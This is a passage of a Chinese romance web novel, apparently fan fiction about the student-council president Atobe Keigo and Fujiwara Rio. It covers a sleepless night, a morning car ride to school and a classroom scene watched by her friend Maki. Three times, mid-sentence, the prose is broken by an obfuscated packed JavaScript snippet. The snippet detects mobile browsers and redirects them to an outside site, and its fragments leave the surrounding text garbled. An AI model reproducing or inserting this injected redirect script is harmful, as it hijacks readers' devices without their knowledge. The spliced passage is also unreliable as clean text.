那个让她有些心惊肉跳的侧脸轮廓,忽然被刺眼的光亮砸碎,消失不见了。 她用毛毯把自己裹成一团,像一只蚕吐丝结成的蛹。在这个蛹里,她摆出侧躺的姿势,一动不动维持两三分钟。 总算觉得自己恢复了一些正常。 夜晚是怪诞故事触发器。黑夜包容一切,自然也滋生一切。产生任何想法都是正常的,值得自我宽宥。 比如她那些白天看着心态积极的同学们,经常深更半夜也会一通emo发言,淡淡散发活人微死感。第二天早上人清醒了,智商重占高地了,又抠着大脚趾将昨晚的话删干净。 今晚这种状况其实与此无异,她想。谁还不能有个矫情的时候呢。 梨央爬出毛毯织就的“蚕蛹”,拿起床头柜的手机,漫无目的地点开各个应用。 一不留神,点开了聊天界面。 又一不留神,点开了侧边的字母A头像。 等她反应过来,手忙脚乱退出时,又又一不小心发出一个表情包。 梨央:“……” 手,你不争气啊。 最惨的,如果是普通表情也就罢了。 雪上加霜,偏偏是好友用她万圣节打扮成妖女塞壬照片做的“阿瓦达索命”表情包。一般用于好友间闲聊吹水,相互正义制裁,绝不允许第三人参与。 衣饰妆发极其跳脱大胆,和她日常风格天壤之别,属于发给外人=绝交的程度。 倒也并非纠结妆面有多鬼迷怪眼。 究其原因,她不喜欢将有悖于她惯常展露给他人面貌的一面示之人前。物分阴阳,阴面和阳面各有分工,不能混淆。 否则,那会让她产生如芒在背的不安全感,像解开防护绳只身高空走吊桥,大风呼啸,随时可能坠得粉身碎骨。 撤回撤回撤回,赶紧撤回。 梨央紧急亡羊补牢,心脏止不住狂跳。 不知道是否为错觉,撤回前一刻,顶端“对方正在输入中……”的提示瞬间从她面前溜过,一眨眼,又杳无踪迹。 梨央:“……” 怎么还慌张到头晕眼花。 她瞄一眼时间数字,凌晨3点30分,估摸着会长应该睡了。 毕竟她看过他的作息时间表,如同机器运转般严格到分秒。狂跳的心脏回落,她小呼出一口气。幸好,失误发生在正确的时间,脸皮尚能保住。 至于撤回痕迹…… 等明天被问起再现编一个理由吧。 如果没被问起,恰好装作无事发生。 不过会长身兼数职,社交也广泛,加的杂七杂八人员挺多,说不定明天早上就被其他聊天信息顶下去了。 再不济,一个因撤回丧失了提醒标识的消息,可能明早也淹没在了海量正事中,不会引起他的注意。 显然,“没被问起”的情况发生概率较大,不必要为此忧心。 千百种说法,千百种自我安慰方式。 梨央扔开手机,躺下,闭眼。无数纷乱的想法像冬季飘扬而下的雪花,在虚空中时芜杂,落到地面就归于寂静。 她仍然睡不着,但总归比先前好些。 听不见那几句翻来覆去的话,看不清画布上白色的轮廓线条。 当下是黎明前最乌沉沉的黑夜。这样的时候,聒噪的声响渐渐稀少。藤原宅悄悄无闻,醒着的只有她一个人。 外面,树影正摇动星月。 - 翌日清晨,迹部家的轿车驶来得很早。 不到六点五十分,她起床换上衣服,刚洗漱完步出卫生间,就听见宅邸外的车道上,引擎嗡鸣由远及近地扩大。 她拉开卧室窗帘,透过玻璃往下看。 一辆鲸鱼流线型的轿车停泊路侧。车身闪耀漂亮的深紫色,天光一照,折射出紫水晶般的鳞鳞碎光。 这辆加长版豪华轿车出自迹部财团旗下的自有品牌高端线。车标是狼头形状,头顶加冕王冠,仰头的姿态仿佛群狼之首啸叫山林——从颜色到造型,都很符合会长高调张扬的个性。 和父亲道过早安,急匆匆抓起课本下楼去。 “早上好,会长。” “早,藤原。” 互相问候完,梨央扶着会长亲自给她开的车门,坐进轿车内。 轿车内部空间宽阔,前后距离足以容纳一张餐桌。满室之间,香气幽缈浮动,和会长身上的淡玫瑰香水味如出一辙。 说起来,这还是她第一回坐会长的车。 有几次倒有机会蹭一把。那时她不想把学生会的事拖到第二天,选择放学加班加点处理。很巧,她在办公室碰到了刚结束训练的会长。又很巧,他也在办公室留到和她同样晚。 回家时,善良的会长见天色已晚,好心提出送她一程。不过她想了想,还是婉拒了。 迹部宅邸和藤原宅邸根本不顺路,一个向左一个向右,背道而驰。况且她步行并不远,何必浪费他的时间。 假若不是昨晚他特意告诉她有话想对她讲,今早她也是不想麻烦会长的。 “会长,你昨晚提到今早有话要和我说,”等迹部景吾坐上车,梨央主动问道,“难道上午有重要的事需要我协同配合吗?” 不然也不至于一大早便要对她交待。 “算重要的事,不过不需要你做什么。” 迹部景吾抬起手,两指搭上衬衫最顶端的纽扣。他笑着瞥了她一眼。指间夹住纽扣,微微用力,松开喉结下紧抵住的衣领。 “今天晚上,我的祖父以及我的父母,会邀请你们一家人会面。但具体时间和地点暂且未定,看他们上午商量的结果。” 顺势向她发出下一步邀约,“藤原,中午有约么?没有的话一起吃个午饭。” 加上无可指摘的理由,“有消息了我也可以顺便告诉你一声。” 轻拿轻放的语气,梨央却觉得有些古怪。 冰帝学园的管理比之其他学校宽松,并不禁止学生带手机。若真有消息的话,直接聊天app上滴滴她一下不就好了。特意邀约午饭当面告知,不是舍近求远的做法么? 但她今天中午没有约人,也不好生硬地直接回绝他。 尤其他现在“身份”不同了,是她,搞不好还是她全家的“救命恩人”。小小一个午饭的要求,她都不答应,显着她不近人情得很。 “好的会长,今天中午我没有约,”她说,“但我们上午最后一节是化学实验课,说不准会拖堂。如果时间实在太晚,会长你先去食堂吧,不用等我。” 实验课讲求每位同学如实实践,真实纪录。而同学之间的理解力和动手力又各不相同,作为学习委员,她有义务襄助同学。所以每次实验她都是最后离开的人。 迹部景吾无可不可地应了一声,“没关系,我今天的事务也多,中午不见得会准时。” 车辆发动,驶离藤原宅邸。 风驰电掣,又快又稳。 他屈起手肘,横搭上车门,探头朝车窗外望一眼。梨央的视线被他分明有力的指节牵引,也顺着同一方向看过去。 枝叶筛下透明的光斑。 光斑流动在他上勾起锐利角度的眉眼。 车辆疾驰飞跃,阴影便从他的下颌角淌下来,点滴缠连,灰里面揉了金,聚集于他半敞的锁骨窝陷处。 似一片潋滟水色,多过一片暗淡晦色。 她匆匆移开目光,几秒后,再看向他。他已经从车外收回眼神,拿出车侧门兜着的一本资料,一页一页翻看起来。 “藤原,等下我要先去公司拿几本书,大概十分钟左右,不会耽搁太久,”迹部景吾不忘对身边人解释,免得冷落她,“我现在有些文件要看,你请自便。” 梨央乖巧点头:“好的。” 不难理解,他所说的“公司”,应当是指迹部财团东京总部。 位于市中心不远,占地面积广,高度俯瞰一众建筑群,俨然是东京地区一大地标。 听闻会长已在逐步熟悉家族运营管理。每月都要抽出固定时间,被迹部叔叔领着去公司,和一堆数朝元老们坐一起开董事会,以便上手商业布局的重要操作。 平心而论,有时候她还挺羡慕会长的。 被家族寄予厚望,有自己父亲手把手、毫无保留地教导商业运作。核心利益从小参与,所有资源供他调配,只待他成年大展拳脚。 而她,每次但凡稍微一问起家族企业的事务,父亲只会笑眯眯地摸着她的头,说: “我的女儿啊,不需要操心这些。” “你只要每天开开心心生活在我身边,打扮得漂漂亮亮的。以后结了婚,成家了,在爱你的丈夫和夫家庇佑下,画几张画做做慈善,如花朵般活着就很好。” 父亲言行如一,从来对她不作任何要求。 即便她国中有次考试故意全科挂零,故意上课睡觉被老师逮到,急得姑姑打跨洋电话联系家里,父亲也冲她发不起任何脾气。 仿佛她只要能眨眼,能喘气,老父亲便心满意足了。 ……如花朵般活着就很好。 可是她觉得不好,一点也不好。 梨央抿下莫名其妙的涩味,控制不住地偷瞄迹部景吾手中的文件。厚厚一大本,像大砖头,密密麻麻全是表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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响动细涩摇荡,像一滴水溅入到水中。 她的耳膜仿佛钻进一条吐信的蛇。 分岔的舌尖勾舔着她的神经,从耳蜗一直到喉部,略微有些发痒。空虚的痒。 这个位置位于的身体部位太深,痒起来时挠又挠不到,只能干忍着难受。 “景吾少爷……” 从她前方的驾驶位,飘来抑制音量的一声呼唤。 没有人回应。 再来一次。 “景吾少爷……” “……嗯?”尾音压着颤意。 “您要的毛毯。” 窸窸窣窣地摩擦。 “把车窗关上。” “好的,景吾少爷。” 周身忽然捂上沉酣的重量。随后,一双手隔着披在肩侧的毛毯,小心翼翼扶住她,把她放倒在一块平面的软枕上,让她躺下。 比之前更为舒适的姿势。她睡沉过去。 一路身处无意识的混沌。 蓦然,像是电影放映至结尾自然终结,车辆在某处红绿灯停下时,梨央也被同步按下切换键,由熟睡状态瞬间跳变成清醒状态。 她迷迷糊糊地从变成了躺椅的车座上爬起来,撩开碍眼的发丝,低头,察觉到自己正披挂一条毛毯。 玫瑰色花纹,玫瑰味香气,所有熟悉的标志正紧密地包裹住她。 “醒了?” 迹部景吾的眼光漫不经心地斜瞟过来。 和她刚才睡着之前不一样,他手上的文件换成了一本书,膝上也多了几本书。 ……他已经拿到书,代表他们已经去过迹部财团总公司,又从那里离开。 据此,她推算出大概补了十分钟左右的觉。时间虽短,但高质量睡眠,神清气爽。 会长这辆加长版豪华轿车的表现,着实对得上迹部财团高端产品线的实力。 “看你刚才困得厉害,昨晚没睡好么?”他状似随意地问。 “唔……昨晚没睡着。” 发现自己竟然老实得说了真话,她暗自后悔,连忙打补丁,“物理竞赛的ppt太难做了,怕交流会讲不好,发愁得很。” 要是让会长知道她昨晚是想着他的话,在床上跟条油煎咸鱼翻锅受热一样,辗转反侧,彻夜难眠,不得让他笑死。 虽然会长不是那类喜欢讥笑他人的人,但是她不管,反正不能被知道。 梨央的视野四处乱转,忽而看见迹部景吾眼下淡淡一片鸦青色。方才光线不亮,倒没察觉。现在阳光炽盛,那处白皙肤色下泛出的一点青便较为明显了。 “会长,你……昨晚也没睡好吗?”梨央谨慎地开口。 她又想起昨晚手滑发的妖女塞壬表情包,攥住课本的手指轻微收紧。 如果会长昨天晚上也没睡……不会吧不会吧不会吧,她真这么倒霉被会长看见了? 但也不一定。退一万步来讲,即便他真没睡,手机上也有其他更好玩的,盯着她的聊天框看多无聊啊。还不如睡觉。 新一轮自我安慰全自动开启。 “为什么这么问?”迹部景吾翻过一页书。 “就……”她心虚目移,小声道,“随便问问,因为你也问了我嘛……” “是么?” 耳畔传来代表着笑的气音。 迹部景吾放下书本,侧转过身,手肘搭在窗框上支着下颌,面对面地和她长久对视。 “那藤原,你认为,”他微微勾唇角,海蓝的眼似笑非笑,“我看起来昨晚应该是睡好了呢,还是没睡好呢?啊嗯?” 7. 07 意料之外的反问打了她一个措手不及。 既不是让她踏实的“昨晚睡得好”,也不是令她不安的“昨晚睡得不好”。不明不白的反应,他狡猾地把她的问题又回抛给她,让她猜不透他的想法,摸不清他的实情。 梨央:0.o? 会长为什么对看似日常得不能再日常的寒暄(即便她存了试探的心思)兜如此大一圈子,是看出哪些端倪了吗? 她该如何回答呢?直不楞登地顺着他的话,说一句好,或者不好?似乎都不太合适。 这要让她如何回应。 她昨天晚上又没蹲会长床底下…… 梨央努力地绞尽脑汁,脑中虚拟化出的语言处理器转得嗡嗡响。 好在还是有解决方法。她往常于各种宴会上为了偷懒划水,总结出过一套自有的“人际交往公式”——辞穷无话可说不要紧。夸,给我狠狠夸,使劲夸就对了。 没有人能拒绝得了嘴甜彩虹屁!没有人! 于是她策略性地打出第一个直球。 “会长今天看起来也是一如既往的精神抖擞,光彩照人呢,”配合诚挚的语气,“昨晚睡得好不好并不影响您的发挥。” 闪避,平稳着陆。 迹部景吾好像预判到她的应付对策,从善如流地笑了起来,向前朝她倾身,迫近她。 一臂展的距离。 既不会因太近丧失分寸,又不会因太远显得刻意疏离。 盯着她的蓝沉沉眼眸碾碎日色,像海平面涌动灿金浪纹,一浮一沉,奔涌不息。 “就这样么?” 掌心撑着下颌,轻抚在脸侧的指肚有意无意地摩挲眼下泪痣。 “还有呢?” 他的五官本就生得锋芒毕露,角度多呈凌厉的锐角。像一把锻造上好的太刀,出鞘时见金气。靠得近了,刃上的光芒更引人注目,明知危险也移不开眼。 梨央的语言系统被.干崩了那么0.001秒,才接着运转,继续扒拉肚子里的墨水。 “今天的会长依旧英姿焕发,气度不凡呢。” “嗯?” ……是觉得有些敷衍吗? “每一天都比前一天更令人觉得可靠的,心悦诚服的,高山仰止的,尊敬的会长阁下。” “嗯哼?” ……这还不满意? 语言处理器疯狂转冒烟。正如程序高速运行下最易卡出匪夷所思的bug,她唇边冒出的下一句话向一发不可收拾的浮夸狂奔—— “我们冰帝学园古往今来独一无二无可挑剔日月难以争辉的国王陛下……” 然后,彩虹屁还没建设完毕,负责施工的承包人倒先绷不住。 任他这么堂而皇之地凝视着,梨央忽然收停话头,沉默了一刻,旋即用掌心捂住脸。指缝间漏出闷钝的笑声。 她克制住肩膀的抖动,“会长,你今天就先放过我吧。我……我实在是找不到词了。” 脸贴着的手心在冒热气。处理器温度阈值达到临界点,保护性断电。 而对面的始作俑者毫发无损。 迹部景吾放下抚于泪痣的手指,跟着她一同轻笑出声。 车厢后座,飞驰的清澈的太阳光,串起两个人前仰后合的声音。像一串清脆的铃铛挂在车檐下,叮啷当啷,飘扬跳动。 “好了好了,本大爷不开玩笑逗你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518454|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迹部景吾挪回原位,顺手接过她脱下的毛毯,搭在副驾驶的座椅上,“说正事。我昨天晚上11点钟就睡了。你问起这个,难道昨晚有什么问题没来得及问我么?” 她被迹部景吾逗得一笑一闹,原本投注在表情包上的心思也被分出去不少。 没问起她撤回痕迹的事,回答“晚上11点钟睡了”的时候,也是不以为意的态度,透出点没有撒谎的意味,应当是过关了吧。 至于问题……还真有一个问题想问。 “会长,昨天我父亲也跟我说了你们一家想要见我的事,”她一边思考着一边说,“他还说让我好好准备一下……但我实在想不到我该准备些什么。” 昨晚田中叔转达了父亲的话之后,她的确有认真挖空心思动脑筋,但死活理不出头绪。 准备……她还能准备什么? 衣着打扮?放学之后就要见人,也没留她时间换下校服。应答话术?这又不是面试上岗,要什么话术……嗯,其实也说不准,此类见家长也是另一种形式的筛选。 虽然和瑛子阿姨的关系较为亲近,但终究性质不太一样。 ……总不至于要她准备一篇深情并茂的演讲稿吧? “会长,要不然你给我支个招?”自己不行,寻求相关核心人员的点拨很合理。 迹部景吾整理书籍的手停了下来。 他提供给她的方法简单且朴实:“何必这么麻烦。” “藤原,你什么都不用做,”他望着她,指腹卷过页角,说,“你只需要坐着,光坐在他们身边,我的父母、祖父……” 不知什么原因,莫名停顿了一下。 “……就已经很高兴了。” 8. 08 网球部的晨训时间固定始于早上7点30。 迹部景吾身为网球部的部长,自然要去督促成员的训练;梨央则直接去往高二B班教室。趁眼下教室人还较少,她可以坐在自己座位上,安安静静地把之前记录的错题重新复习一遍。 下了车,他们在学校门口分道扬镳。 临别前,迹部景吾还不忘叮嘱她:“藤原,中午下课我去化学实验室等你。” “好的,会长,”她回应道,又盘算了一下化学实验课通常的下课时间,“我们班的化学实验大概在12点20结束,会长你下课后可以晚点再来,不着急。” “嗯,我会看着时间。”金色薄光中,他唇边轻轻勾起的笑意有些晃眼。 日色东移,无端起一阵晨风,吹动他的发丝漂浮。随着风向,他转身,长腿一迈,踩着一地零碎光晕往网球训练场走。 据瑛子阿姨说,7点-8点这个时段,他一般会进行宅内散步和骑马,以作为晨起的运动锻炼。也就是说,会长的时间表里没有“8点之前到学校”这项安排。 按照惯例,网球部晨训他也只参加后半场。 今天他到校的时间点却比往日大大提前。不用多想,这是他在迁就她的起居习惯。 宅内散步是顾不上的,骑马也是取消了的。他的晨起运动锻炼因她而中断。 ……好像又麻烦到会长了呢。 虽说的确是会长主动提起有话和她说,要接她上学,但终归还是因为她那些棘手的问题,因为她的原因,稍微扰乱了他的时间表计划。 踏上通往B班教室的楼梯,梨央难以遏制地泛起一些粗浅的愧疚感。 …… B班上午的第一节课是物理课,从9点上到9点45分。 课程内容依旧是难度极高的电磁场部分。恒定电场、变电场、电荷……电来电去,教室里逐渐露出一片“看物理,学物理,雾里物理”的听天书表情。 懵○状态出现人传人现象。 在老师催眠的声调中,除了包括梨央在内部分绩优生认真跟随教学思路,其余大家都死撑着眼皮,努力保持清澈但不失愚钝的眼神。 好不容易熬到下课。 铃声一响,因物理愁云惨雾的教室,顿时像平静的池塘突然扔进一支爆竹炸鱼,噼里啪啦忽然活跃起来。 周围同学三三两两结对聊天,转书转笔转圈圈,各个又活了过来神采焕发。教室里热火朝天,好不热闹。 她的同桌,兼她最好的好朋友——柏木真纪也不例外。 一下课,她眼睁睁看着真纪从趴在桌上只剩一口气的咸鱼,倏尔切换成活力满满的朝气美少女。拿出镜子确认形象完美,掏出手机,对着教室这里拍拍,那里拍拍。 “又在准备剪辑你的冰帝学园vlog了吗,真纪?”梨央一边整理上课笔记,一边向好友投向一瞥。 “那是啊,这周该到发vlog的时间了。” 真纪调整手机里的视频画面,裁剪素材,马赛克无关人员,选取能最大化呈现本人美貌的角度。 “上周我不是去和Start事务所——就是迹部财团旗下的那个经纪公司洽谈合同嘛,我的频道断更了一周。这周要再不发点物料,我的粉丝热度恐怕要保不住咯。” 梨央停下笔,想了想,问:“伯父和伯母最终还是同意你签约了吗?我还以为他们不会赞成你进事务所。” 她开玩笑道:“看来我们真纪大小姐这下真要成闪闪发光的大明星了。” 与时俱进的,她更新了一下好朋友柏木真纪的人设标签——船舶公司会长的女儿、戏剧部部长、唱跳rap演戏创作俱佳的自媒体小网红,以及即将行程拉满,学习演艺两头奔的女明星。 真正水陆空三栖三开花,浑身成天充满了使不完的牛劲。 这种旺盛的精力和生命力,让时常维持不上不下电量的梨央由衷地惊叹。 她有时候觉得,真纪的性格其实和会长迹部景吾颇为相似。两人都是能量永远满格,超长待机高功率低耗能,超级无敌e的大e人。 对她来说纯属漏电行为的人际社交,放在他俩身上,却是能反向充电,从众星捧月的人情来往中汲取无限活力。 可能有一类人,生来便是要万众瞩目的,应当享受被所有人关注的夺目光彩。 像太阳一样源源不断地迸发热度,因此理所应当被这热度普照的人瞻仰。 “哎,小梨你是不知道,我在家磨了多少嘴皮子,这张嘴都要叭叭秃噜皮了,最终才让我父亲母亲点头同意的。” 提起此事,真纪表现出头疼的模样,一下子蔫了,“我父亲说了,如果我因为事务所的行程导致成绩下滑,要让我‘拿话来交待’。” “呜呜,小梨宝贝你知道的,成绩这种事情,我只能靠你了哇。” 她抱住梨央的左胳膊,泪眼汪汪,眨巴眨巴淡扫了层色粉的眼睑,“你可一定要救救我呀。” 梨央被她逗笑了,拍了拍她的手,安慰她:“放心吧,为你女明星事业添砖加瓦,肯定得有我一份。” “好耶!” 真纪用那张花了重金涂抹护肤品的脸,贴了贴她裸露在短袖外的小臂。 她的这位好朋友就是这样,隔三差五爱夹子音主动对她又贴又撒娇。 刚开始她不太习惯有人对她如此亲近,内心鸡皮疙瘩直冒。后来次数一多,脱了敏,也就见怪不怪了。 老实说,还挺可爱的。 梨央保持左手不动,放任真纪紧贴着她,单用右手抽出一张新的空白页,在纸面中央落笔,潇洒画出一个大框架,开始誊抄第二份物理笔记思维导图。 真纪趴在课桌上,下颏抵着臂窝。她偏头,仔细端详着梨央,忽而冷不丁出声。 “小梨,”她慢慢挑起梨央的一绺长发在食指上绕,“嗯……比起上周,我觉得你今天心情终于好了些。” 笔尖顿住。发丝夹在她的指间打转。 梨央没来得及问缘由,接着又听她说。 “担心的事情解决了吗?”真纪的语气变得温柔,“上周我委婉问过你为什么看起来有些忧愁,你都模糊过去了。两次都这样,后来我也就不敢再问你。” “虽然不知道具体发生了什么,不过事情能解决,我也就放心了。” 真纪的音调降下来,在吵闹的教室里用仅她一个人听得见的声量,带着点鼻音,像一根具有韧度的针刺进来,柔性的针体留在外面,坚硬的针尖细微梗在里头。 梨央一惊,语句不由自主地带着不太想承认的惯性反问:“是吗?我今天有……看起来很高兴,上周看起来不开心吗?有这么明显?” “是的呀,”真纪拿笔点在她的嘴角,轻轻向下拉,“上周你是这样的。”而后轻轻向上提,“但是今天你是这样的。” “开心,不开心,不是一目了然吗?” 梨央:“……” 她不再掩饰自己的震惊:“……原来你们都知道啊?” 细想起来,她已经完全不记得真纪什么时候问过她了。 “你们?什么你们?” 听到这个词,真纪骤然来了精神,支棱起脑袋,“难道除了我,还有别人和我一样对你如此关心体贴?我不信,说来我听听。” 梨央无视掉她揶揄的部分,坦诚交待道:“会长,他昨天也是这么跟我说的。说我这段时间看起来心情不是太好。” 还以为自己伪装得很巧妙呢,和人交流的语气保持平和,呈现出的精神面貌也一如既往的温和可亲。自认为毫无破绽,原来这两人一直在旁边看着她演。 ——这下尴尬了。 像登台表演的魔术师被当场揭穿把戏,梨央呆在座位愣怔了片刻。中指上转动的笔,一时平衡不稳,“啪嗒”坠落桌上。 真纪的表情变化多端,丰富多彩。 “什么还有别人”的疑惑。 “让我听听究竟是谁”的好奇。 “哦原来是他”的恍然大悟。 “可以啊有两下子”的促狭。 “噢↗↘,原来是迹部大少爷啊,那这就不奇怪了,”话语末尾升调又降调,“这就不奇怪了。” “唔……迹部?” 梨央后桌的芥川慈郎悠悠转醒,顶着朦胧睡眼四处打量,“迹部来了吗?哪有迹部?” 真纪连忙回身揉了两下他的头发,“没你的事,继续睡吧,乖。” 芥川慈郎咂了咂嘴,心安理得地又睡下了。 哄睡完芥川慈郎,柏木真纪对她挤眉弄眼,“咦惹,小梨,嘻嘻。” 梨央:“?” “我怎么感觉你有些阴阳怪气的?” 真纪笑嘻了:“懂的都懂,不懂的也别问。里面水太深你把握不住。” ?好家伙,你也变身谜语人? ……总觉得真纪有事瞒着她。 眼前真纪嬉皮笑脸,脑后芥川呼呼大睡。如此复杂的环境下,梨央犹豫疑惑了一秒,决定暂时不去管。 比起杂七杂八的鸡毛蒜皮,还是手里未完成的物理笔记最重要。 何况,学生会会长关注干事人员有什么好奇怪的?排除“同事”之谊,迹部景吾还指着他们几个学生会干事处理学生会事务呢。 什么是学生会干事? ——字面意思,要干活做事的。 尤其迹部景吾的要求殊为严格,懒是偷不了半点,想划水更是门都没有。 不然,他们几个干事私下里也不会组建“国王的吗喽们”小群。 只为了在任务项结束前,大家一起反复验收,避免出现无法容忍的低级错误,不然不幸被会长当场逮到,可有好果汁吃。 梨央收拾好中断的思绪,重新拾起笔,按照课上内容接续遗留的框架图往后开画。 她的效率向来极高。四五笔刷刷的声响,一连串嗒嗒的动静,一张物理电磁场思维导图笔记,圆满完成。 “来,真纪,这张图拿好不用谢。” 梨央把这张尚且泛有油墨味的笔记,轻轻拍在真纪面前,“考试之前把这上面的重点和标记的例题看一下,物理及格没有问题的。” 真纪欢天喜地接过,“好的呢小梨。就知道你最爱我了,小梨宝贝。” 梨央插科打诨地做了个肉麻受不了的表情。 场外突发事件,不合时宜插入。 “藤原同学,外面有人找你。” 经过座位旁的男同学好心提醒。 “哦……好的,我马上过去,谢谢。” 梨央收敛神态,起身走向教室门外。 柏木真纪的视线跟着梨央的步行轨迹,移向门口。目光轻微挪动,扫视到对面楼栋的A班教室外墙。 ——A班,迹部景吾所在的班级,正好与她们B班遥遥相望。 冰帝学园高等部的教学楼设计成回字形。中央一大片空地,类似天井。 两边则是教学楼,一楼作为会议室和杂物间,教室从二楼起,依据单数字母和双数字母分别排列。 也就是说,A班和B班虽然顺序上临近,但因为一奇一偶,被无情地分隔到左右两端。中间跨度之大,像把牛郎和织女冷酷分开的银河天堑。 ——不知道别人是不是这样认为,但她觉得,迹部大少爷八成就是这么看待的。 不然,她也不会看到他经常课间跑到走廊,倚着半高的围墙往她们这个方向看。貌似只是放松随意望风,实际上视线的目标从头至尾只有一个——她们B班教室。 再具体一些,B班的目标他也只有一个。 ——梨央的座位。 时不时,真纪甚至会看见,迹部大少爷从老师办公室或者理事长办公室回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518455|142301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,会从B班门前特意绕一趟,再回到A班去。 兜一大圈子,只为了往B班的教室里看上一眼。 啧啧。 大少爷的心思,都明牌摆在明面上了。 如果说这个证据还不够有力。 那她三个月前,去学生会办公室交戏剧部策划书时,偶然瞄到他手机上那明晃晃的置顶,就是更强劲的呈堂证供。 不仅给人聊天框置顶,还设了特别关注,甚至是震动强提醒。 这代表什么意义? 这不就意味着,不管他看没看手机,不管他多忙,只要对面的消息一来,他都能做到及时地句句有回应,事事有着落。 “迹部会长——”她当时故意读不懂空气似的,大声疑问棒读,“你为什么单独把小梨的聊天置顶啊?欸,还有特别关注的星标?到底是什么事这么重要哦~” 抑扬顿挫的波浪形感叹语气。 透着故弄玄虚的深长意味。 然后,当时正在看策划书的迹部景吾,闻言瞳孔微震了0.001秒,旋即立刻息屏,翻转扣下手机,若无其事地回答: “学生会的财务信息太多太杂,设一个置顶,免得错过。” “哦~这个样子啊~” 要说他给出的回答她信了吗? 当然——个鬼。 她们迹部会长,全身上下嘴最硬。 如果她能被这种借口糊弄过去,那她从小学起便开始谈恋爱所积攒的经验,岂不是白攒了? 本来她以为,迹部景吾的心思已然够明显。结果她向周围隐蔽地打探了一圈,得到的信息是:大家居然全没看出来,只有她看出来了。 包括和迹部景吾相交密切的忍足同学,还有她男朋友的弟弟,曾接替迹部景吾担任国中网球部部长,刚升学高一进入高中网球部的阿若,似乎都对此一无所知。 真纪讶然,真纪大惊,真纪摸不着脑壳。不是,你们都选择性眼盲了吗? ——坏咯,她成异类了。 有句流传甚广的话这么说:当周边所有人都不正常,你最正常的时候,那你就成了那个最不正常的神经。 所以,为了不因特立独行而被枪打出头鸟(别人不知道只她知道,在大少爷眼里不就是显眼包一位嘛),真纪默默把侦测出来的惊天大秘密死死捂在心里。 同时,她觉得迹部大少爷这人吧。 他不适合搞暗恋。 他适合干保密部。 真纪侧转脖颈,目光从A班教室,自动移回B班教室门口。在她斜前方,梨央正和一名男生交谈。那名男生她也认识,网球部的替补,D班的班长,姓菅原。 她屏住呼吸,凝神细听他们的对话。 “藤原同学,多亏你昨天借我的地理课本。我昨天早上来得太匆忙把书落家里了,幸好你肯借我,要不然,我少不了挨那位老古板的训。” “菅原同学不必客气,举手之劳而已。昨天我们班也不上地理课,正好把课本借出去,让它发挥作用。” “藤原同学,这盒巧克力是给你的谢礼。麻烦你这么多次实在不好意思,一点小小的心意,请你一定要收下。” “菅原同学你真的太客气了,都是些小事,我也没做什么,不用送我谢礼的。” 两个人围绕“要不要收巧克力”展开拉锯。一个“不用给不用给”,一个“一定收一定收”,两相僵持不下数分钟,最后梨央实在拒绝不了好意,妥协地挑出其中四颗。 “谢谢藤原同学肯接受我的谢礼,”男生爽朗地笑道,“剩下的巧克力,如果藤原同学愿意赏光不嫌弃,就留着以后再答谢你吧。” 弦外之音,真纪听出来了。意思就是,以后会有越来越多的机会,借着“帮忙”的由头和小梨接触,并送她礼物。 啧啧,真纪称奇道绝。看看人家,多会。 她用余光一瞥,隐约看到走廊对面的另一端,冒出一个颀长匀称的身影,正朝A班走,移动着接近梨央和菅原。 他好像刚洗完手,肌肉线条紧实的手臂上,流落的水珠在阳光底下熠熠发亮。 步伐紧逼,步步靠近。 ——哈哈,大少爷来咯。 接着,她望见迹部景吾朝梨央和菅原方向,投去微不足道的一瞥,又几无幅度地收回。一脸漠不在意,面部没有分毫的表情变化。 似乎这两人在他眼里只是普通路人甲,他没必要花一星半点的心思关注。 真纪:“?” 凭迹部景吾高强度注意B班动向,对B班了如指掌的态势,他应该不会不知道菅原同学找梨央找得特别勤快吧?还有,大少爷,你没看见他手上的巧克力吗? 竟然能做到心如止水,不起波澜。 少爷,你可真坐得住啊.jpg 大少爷一天天到底怎么回事?怎么还搁这稳如泰山,不屑一顾地玩傲娇? 哪天被人抢占先机就老实了。 不过她确实很想看看,万一小梨真的和别的男生谈恋爱,在他眼皮子底下卿卿我我,你侬我侬,这位迹部家从小被捧着长大的天之骄子,会不会当场破防啊? 一定会的吧,一定会的吧! 真纪没来由地生出点幸灾乐祸看戏感。 千载难逢的世界名画——迹部景吾破大防。不知道她有没有这个荣幸和机会,能一睹其中水深火热的“风采”。 ……等等,结论下早了。 他们迹部会长的内心,可能看起来并不像他表面一样宠辱不惊。至少在此刻,面对梨央,并不如此。 迹部景吾第二次小幅度侧头,目光从碎发底下偏转,凝注着梨央和菅原上下打量。收回视界锚定点时,淡至透明的阴影像草地里滑溜的蛇,从他挺直的鼻梁一闪而过。 然后,他走到和两个人处于同一水平线上的位置,慢慢地,抬起了手肘。 9. 09 教学楼的左栋和右栋相距有些远,加之课间的同学较为活跃,走廊上人来人往,梨央和菅原起初并没有注意到对端的迹部景吾。 哎呀,这是被无视了个彻底呢。 真纪“嘶”了一声,摸了摸下巴。 